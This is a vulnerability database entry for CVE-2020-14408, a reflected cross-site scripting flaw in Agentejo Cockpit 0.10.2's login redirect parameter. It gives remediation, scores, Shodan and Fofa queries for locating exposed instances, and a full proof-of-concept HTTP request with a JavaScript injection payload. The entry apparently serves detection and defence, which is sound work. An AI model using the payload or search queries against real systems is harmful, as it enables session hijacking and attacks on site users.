🔙 목록으로 돌아가기

CVE-2020-14408: Agentejo Cockpit 0.10.2 - Cross-Site Scripting

TitleAgentejo Cockpit 0.10.2 - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version of Agentejo Cockpit or apply the vendor-provided patch to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.01606
CVE IDCVE-2020-14408
CWE IDCWE-79
Shodan Queryhttp.favicon.hash:688609340http.html:"cockpit"
Fofa Queryicon_hash=688609340body="cockpit"
Tags cve2020 cve cockpit agentejo xss oss vuln

🔍 Vulnerability Description

Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page’s content.

🌐 HTTP Request

GET /auth/login?to=/92874%27;alert(document.domain)//280 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14408.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-14408.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A